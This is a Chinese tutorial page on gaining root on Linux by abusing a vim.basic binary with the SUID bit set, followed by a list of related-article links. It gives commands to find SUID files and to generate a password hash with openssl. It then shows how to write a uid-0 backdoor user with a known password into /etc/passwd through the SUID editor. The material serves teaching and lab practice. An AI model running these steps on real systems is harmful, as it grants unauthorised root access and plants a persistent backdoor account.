Linux使用suid vim.basic文件实现提权
在kali上复现
先给需要的vim.basic文件设置suid权限
chmod u+s /usr/bin/vim.basic
先adduser test1一个普通权限用户
现在就是一个合适的提权环境
通过以下命令可以找到存在suid权限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \；
可用于提权的文件有
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
利用vim提权的思路是修改etc/passwd文件，为自己添加一个有root权限的用户
passwd文件用户格式为：用户名:密码:uid:gid:注释:home目录:用户的shell
这边可以看看root用户的格式
root:x:0:0:root:/root:/bin/bash
（密码这部分之所以是x，是因为真正的密码存在/etc/shadow文件里）
生成密码：用openssl passwd -1 –salt asd 123 （这里是-1（数字1）不是L）
直接写在passwd文件里面，
toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash
用vim /etc/passwd可以修改，但是在保存是会出现E212，无法保存，提示我们没有权限修改这个
这时应该用之前find找到的vim.basic文件运行，这个程序是有suid权限的。绝对可以修改
vim.basic /etc/passwd
用这个打开，然后修改文件，就可以成功保存
可以看到已经添加了，su toor切换，密码123，再id查看一下权限
root权限
chmod u+s /usr/bin/vim.basic
以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持脚本之家。
- 一个简单的linux命令 cat
- 每天一个linux命令之locate 命令
- Linux中Vi和Vim编辑器用法详解
- linux系统下vim插件安装介绍
- 在Linux系统中使用Vim读写远程文件的命令详解
- Linux如何在Vim中更改颜色和主题
- linux下vi(vim)的新的用法总结
- linux常用工具vi/vim的使用完整版
- Linux Vim 实用命令详解
- Linux 常用文本处理命令和vim文本编辑器
- Linux (Ubuntu 18.04) 下安装vim编辑器的方法
- linux中的vi和vim编辑器操作方法
- 详解Linux文本编辑器Vim
- 详解Linux常用命令的用法（二）————文本编辑器命令vi/vim
- 详解linux系统输入输出管理和vim的常用功能
- Linux使用VIM编辑器的方法
- Linux 下vim使用教程
- Linux下设置Vim编辑器里Tab的长度行号
- 在Linux中使用Vundle管理Vim插件的方法
- Linux命令之mkdir，cat，touch，vi/vim的详解
相关文章
这篇文章主要介绍了Linux下关于coredump的定位方法说明,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教2023-09-09
这篇文章主要介绍了Linux下大量SYN_SENT连接问题的解决方法,需要的朋友可以参考下2015-01-01
Swap空间的作用是当系统的物理内存不够用的时候，就需要将物理内存中的一部分空间释放出来，以供当前运行的程序使用。这篇文章主要给大家介绍了关于Centos7中添加、删除Swap交换分区的相关资料，以及Centos7下增加swap分区大小的方法，需要的朋友可以参考下。2018-04-04
这篇文章主要给大家介绍了关于linux中叹号命令（!）的使用的相关资料，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2018-11-11
下面小编就为大家带来一篇linux的一个find命令配合rm删除某天前的文件方法。小编觉得挺不错的，现在就分享给大家，也给大家做个参考。一起跟随小编过来看看吧2016-12-12
这篇文章主要介绍了linux的基本命令mkdir使用详解的相关资料,需要的朋友可以参考下2023-03-03
由于Linux的内核参数信息都存在内存中，因此可以通过命令直接修改，并且修改后直接生效。但是，当系统重新启动后，原来设置的参数值就会丢失，而系统每次启动时都会自动去/etc/sysctl.conf文件中读取内核参数，因此将内核的参数配置写入这个文件中，是一个比较好的选择。2017-11-11
这篇文章主要介绍了修改.htaccess实现子目录绑定示例,需要的朋友可以参考下2014-03-03
这篇文章主要介绍了centos7修改网关和配置ip的方法示例，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2019-08-08
这篇文章主要介绍了Centos7.3开机自动启动或执行指定命令操作，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧2020-11-11
最新评论